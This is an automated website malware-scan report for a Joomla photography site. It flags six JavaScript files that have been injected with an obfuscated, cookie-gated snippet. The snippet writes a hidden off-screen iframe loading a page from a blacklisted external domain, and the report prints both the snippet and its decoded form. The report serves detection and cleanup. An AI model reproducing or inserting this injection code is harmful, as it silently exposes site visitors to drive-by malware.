New scan:

Malware Scanner report for zorin-foto.ru

Malicious/Suspicious/Total urls checked
6/1/11
7 pages have malicious or suspicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "zorin-foto.ru" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=zorin-foto.ru

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://zorin-foto.ru/
200 OK
Content-Length: 30907
Content-Type: text/html
clean
http://zorin-foto.ru/media/system/js/caption.js
200 OK
Content-Length: 4203
Content-Type: application/x-javascript
malicious
Malicious code found. Script contains blacklisted domain: fsdron.yosoydos.com.ar

...[1234 bytes skipped]...
okie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!uigentuse()) {
var cookie = getCookie('urgen7ryam9ole84kerl19nam');
if (cookie == undefined) {
setCookie('urgen7ryam9ole84kerl19nam', true, 86400);
document.write('<iframe'+' s'+'r'+'c'+'="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" s'+'t'+'yl'+'e'+'='+'p'+'osi'+'t'+'io'+'n'+':'+'ab'+'s'+'o'+'lut'+'e'+';'+'le'+'f'+'t:-1100px;top:-1100px; height="170" width="170"></iframe>');
}
}
})();
var JCaption = new Class({
initialize: function(selector)
{
this.selector = selector;
var images = $$(selector);
images.each(function(image){ this.createCaption(image); }, this);
},
createCaption: function(element)
{
var caption = docu
...[1131 bytes skipped]...

Decoded script:


<iframe src="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" style=position:absolute;left:-1100px;top:-1100px; height="170" width="170"></iframe>

http://zorin-foto.ru/plugins/content/mavikthumbnails/slimbox/js/slimbox.js
200 OK
Content-Length: 9313
Content-Type: application/x-javascript
malicious
Malicious code found. Script contains blacklisted domain: fsdron.yosoydos.com.ar

...[1234 bytes skipped]...
okie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!uigentuse()) {
var cookie = getCookie('urgen7ryam9ole84kerl19nam');
if (cookie == undefined) {
setCookie('urgen7ryam9ole84kerl19nam', true, 86400);
document.write('<iframe'+' s'+'r'+'c'+'="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" s'+'t'+'yl'+'e'+'='+'p'+'osi'+'t'+'io'+'n'+':'+'ab'+'s'+'o'+'lut'+'e'+';'+'le'+'f'+'t:-1100px;top:-1100px; height="170" width="170"></iframe>');
}
}
})();
var Lightbox = {
init: function(options){
this.options = $extend({
resizeDuration: 400,
resizeTransition: false, initialWidth: 250,
initialHeight: 250,
animateCaption: true,
showCounter: true
}, options || {});
this.anchors =
...[2216 bytes skipped]...

Decoded script:


<iframe src="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" style=position:absolute;left:-1100px;top:-1100px; height="170" width="170"></iframe>

http://zorin-foto.ru/modules/mod_vm_css_menu/js/vertical_flyout_right.js
404 Not Found
Content-Length: 20
Content-Type: text/html
clean
http://zorin-foto.ru/test404page.js
404 Not Found
Content-Length: 20
Content-Type: text/html
clean
http://zorin-foto.ru/templates/vsi39/script.js
200 OK
Content-Length: 16955
Content-Type: application/x-javascript
malicious
Malicious code found. Script contains blacklisted domain: fsdron.yosoydos.com.ar

...[1234 bytes skipped]...
okie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!uigentuse()) {
var cookie = getCookie('urgen7ryam9ole84kerl19nam');
if (cookie == undefined) {
setCookie('urgen7ryam9ole84kerl19nam', true, 86400);
document.write('<iframe'+' s'+'r'+'c'+'="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" s'+'t'+'yl'+'e'+'='+'p'+'osi'+'t'+'io'+'n'+':'+'ab'+'s'+'o'+'lut'+'e'+';'+'le'+'f'+'t:-1100px;top:-1100px; height="170" width="170"></iframe>');
}
}
})();
if (window.addEvent) window.addEvent('domready', function() { });
var artEventHelper = {
'bind': function(obj, evt, fn) {
if (obj.addEventListener)
obj.addEventListener(evt, fn, false);
else if (obj.attachEvent)
obj.attachEvent('on' + evt, fn);

...[2211 bytes skipped]...

Decoded script:


<iframe src="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" style=position:absolute;left:-1100px;top:-1100px; height="170" width="170"></iframe>

http://zorin-foto.ru//mc.yandex.ru/metrika/watch.js/
404 Not Found
Content-Length: 307
Content-Type: text/html
clean
http://zorin-foto.ru/modules/mod_AutsonSlideShow/js/jquery-1.5.2.min.js
200 OK
Content-Length: 88165
Content-Type: application/x-javascript
suspicious
Page code contains blacklisted domain: fsdron.yosoydos.com.ar

//copyright
/**
* license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
/**
* JCaption javascript behavior
*

...[3803 bytes skipped]...

http://zorin-foto.ru/modules/mod_AutsonSlideShow/js/jquery.easing.1.3.js
200 OK
Content-Length: 10337
Content-Type: application/x-javascript
malicious
Malicious code found. Script contains blacklisted domain: fsdron.yosoydos.com.ar

...[1234 bytes skipped]...
okie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!uigentuse()) {
var cookie = getCookie('urgen7ryam9ole84kerl19nam');
if (cookie == undefined) {
setCookie('urgen7ryam9ole84kerl19nam', true, 86400);
document.write('<iframe'+' s'+'r'+'c'+'="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" s'+'t'+'yl'+'e'+'='+'p'+'osi'+'t'+'io'+'n'+':'+'ab'+'s'+'o'+'lut'+'e'+';'+'le'+'f'+'t:-1100px;top:-1100px; height="170" width="170"></iframe>');
}
}
})();
jQuery.easing['jswing'] = jQuery.easing['swing'];
jQuery.extend( jQuery.easing,
{
def: 'easeOutQuad',
swing: function (x, t, b, c, d) {
return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
},
easeInQuad: function (x, t, b, c, d) {
return c*(
...[2242 bytes skipped]...

Decoded script:


<iframe src="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" style=position:absolute;left:-1100px;top:-1100px; height="170" width="170"></iframe>

http://zorin-foto.ru/modules/mod_AutsonSlideShow/js/jquery.animate-colors-min.js
200 OK
Content-Length: 3976
Content-Type: application/x-javascript
malicious
Malicious code found. Script contains blacklisted domain: fsdron.yosoydos.com.ar

...[1234 bytes skipped]...
okie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!uigentuse()) {
var cookie = getCookie('urgen7ryam9ole84kerl19nam');
if (cookie == undefined) {
setCookie('urgen7ryam9ole84kerl19nam', true, 86400);
document.write('<iframe'+' s'+'r'+'c'+'="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" s'+'t'+'yl'+'e'+'='+'p'+'osi'+'t'+'io'+'n'+':'+'ab'+'s'+'o'+'lut'+'e'+';'+'le'+'f'+'t:-1100px;top:-1100px; height="170" width="170"></iframe>');
}
}
})();
(function(d){function i(){var b=d("script:first"),a=b.css("color"),c=false;if(/^rgba/.test(a))c=true;else try{c=a!=b.css("color","rgba(0, 0, 0, 0.5)").css("color");b.css("color",a)}catch(e){}return c}function g(b,a,c){var e="rgb"+(d.support.rgba?"a":"")+"("+parseInt(b[0]+c*(a[0]-b[0]),
...[1287 bytes skipped]...

Decoded script:


<iframe src="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" style=position:absolute;left:-1100px;top:-1100px; height="170" width="170"></iframe>

http://zorin-foto.ru/modules/mod_AutsonSlideShow/js/jquery.skitter.min.js
200 OK
Content-Length: 52419
Content-Type: application/x-javascript
malicious
Malicious code found. Script contains blacklisted domain: fsdron.yosoydos.com.ar

...[1234 bytes skipped]...
okie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!uigentuse()) {
var cookie = getCookie('urgen7ryam9ole84kerl19nam');
if (cookie == undefined) {
setCookie('urgen7ryam9ole84kerl19nam', true, 86400);
document.write('<iframe'+' s'+'r'+'c'+'="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" s'+'t'+'yl'+'e'+'='+'p'+'osi'+'t'+'io'+'n'+':'+'ab'+'s'+'o'+'lut'+'e'+';'+'le'+'f'+'t:-1100px;top:-1100px; height="170" width="170"></iframe>');
}
}
})();

(function($){var number_skitter=0,skitters=[];$.fn.skitter=function(options){return this.each(function(){$(this).data('skitter_number',number_skitter);skitters.push(new $sk(this,options,number_skitter));++number_skitter})};var defaults={velocity:1,interval:2500,animats('transform
...[2036 bytes skipped]...

Decoded script:


<iframe src="http://fsdron.yosoydos.com.ar/tzmkxykx7.html" style=position:absolute;left:-1100px;top:-1100px; height="170" width="170"></iframe>


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: zorin-foto.ru

Result:
HTTP/1.1 200 OK
Connection: close
Date: Wed, 01 Oct 2014 18:22:39 GMT
Server: nginx/1.1.19
Vary: Accept-Encoding
Content-Type: text/html; charset="utf-8"
X-Powered-By: PHP/5.3.10-1ubuntu3.13
Second query (visit from search engine):
GET / HTTP/1.1
Host: zorin-foto.ru
Referer: http://www.google.com/search?q=zorin-foto.ru

Result:
The result is similar to the first query. There are no suspicious redirects found.